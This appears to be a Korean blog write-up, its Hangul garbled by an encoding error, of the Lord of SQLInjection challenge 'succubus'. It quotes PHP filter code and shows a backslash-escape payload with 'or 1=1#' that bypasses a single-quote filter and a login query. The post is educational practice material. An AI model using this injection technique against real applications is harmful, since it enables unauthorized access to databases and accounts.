ํฐ์คํ ๋ฆฌ ๋ทฐ
16 ๋ฒ์งธ ๋ฌธ์ ์ธ "succubus"์ ๋๋ค.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
๊ฒ์ฆํ๊ณ ์๋ ์ฝ๋๋ฅผ ํ์ธํด๋ณด๋ฉด preg_match ํจ์๋ฅผ ํตํด " ' "(์ฑ๊ธ์ฟผํฐ) ๋ฅผ ํํฐ๋งํ๊ณ ์๋๋ฐ ๋ฌธ์ ๋ " id " ๋ณ์์ " pw " ๋ณ์ ๋ชจ๋๊ฒ์ฆํ๊ณ ์๊ธฐ ๋๋ฌธ์ ์ฐํํ ์ ์๋ ๋ฐฉ๋ฒ์ ์๊ฐํด๋ด์ผ ํฉ๋๋ค.
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
if($result['id']) solve("succubus");
์ ๋ ฅ๋๋ ์ฟผ๋ฆฌ ๋ฌธ์ ํํ๋ฅผ ๋ณด๋ฉด ์ด๋ฒ์๋ 2๊ฐ์ง ๋ณ์๋ฅผ ๋ชจ๋ ์ฌ์ฉํด์ ํด๊ฒฐํด์ผ ๋ ๊ฒ ๊ฐ์ต๋๋ค. ๋ํ ๊ฒฐ๊ณผ ๊ฐ์ด " admin " ์ผ ํ์๊ฐ ์๊ธฐ ๋๋ฌธ์ ๊ทธ๋ฅ ๊ณ์ ๋ง ๋์ถ์ํค๋ฉด ๋ฉ๋๋ค.
์๋ฌด๋ฆฌ ์ฑ๊ธ ์ฟผํฐ๋ฅผ ์ฐํํ๋ ค๊ณ ํด ๋ด๋ ๋์ ํ ๋ฒ์ด๋ ์๊ฐ ์์ด์ ๋ฐฉ๋ฒ์ ์ฐพ์๋ณด๋ ์ค
๋ฌธ์์ด์ ์ด์ค์ผ์ดํ ํํ๋ก ๋ฐ๊ฟ์ค ์ ์๋ " \(์ญ์ฌ๋์ฌ) " ๊ฐ ์๋ค๋ ๊ฒ์ ์์์ต๋๋ค.
๋ฌธ์์ด ์ด์ค์ผ์ดํ
$query = "select id from prob_succubus where id='\'&and pw=' or 1=1%23
์งํ๊ฒ ํ์๋ ์์ญ๊ฐ์ด ์ญ ์ฌ๋์ฌ ๋ค์์ ์กด์ฌํ๋ '(์ฑ๊ธ ์ฟผํฐ)๋ถํฐ ๊ทธ๋ค์์ ๋์ค๋ pw='(์ฑ๊ธ ์ฟผํฐ) ๊น์ง๋ฅผ ๋ฌธ์์ด๋ก ์ธ์ํ๊ธฐ ๋๋ฌธ์ "id" ๋ณ์์๋ '(์ฑ๊ธ ์ฟผํฐ)๊ฐ ํ ๊ฐ ๋จ๊ฒ๋๊ณ ๊ทธ๋ค์ Where ๊ตฌ๋ฌธ ์ฐํ๊ธฐ๋ฒ์ธ or 1=1(์ฃผ์) ์ ํตํดํญ์ " ์ฐธ " ์ด ๋๋๋ก ํ ์ ์์ต๋๋ค.
๋ฌธ์์ด ์ธ์: \'&and pw=
๋จ๋ ๊ตฌ๋ฌธ: id='๋ฌธ์์ด๋ก ์ธ์' or 1=1#
'CHALLENGE' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
XSS Challenges 7 (0) | 2020.12.10 |
---|---|
[LOS] Zombie assassin ํ์ด(17) (0) | 2020.12.09 |
[LOS] Assassin ํ์ด(15) (0) | 2020.12.09 |
XSS Challenges 6 (0) | 2020.12.09 |
[LOS] Giant ํ์ด(14) (0) | 2020.12.08 |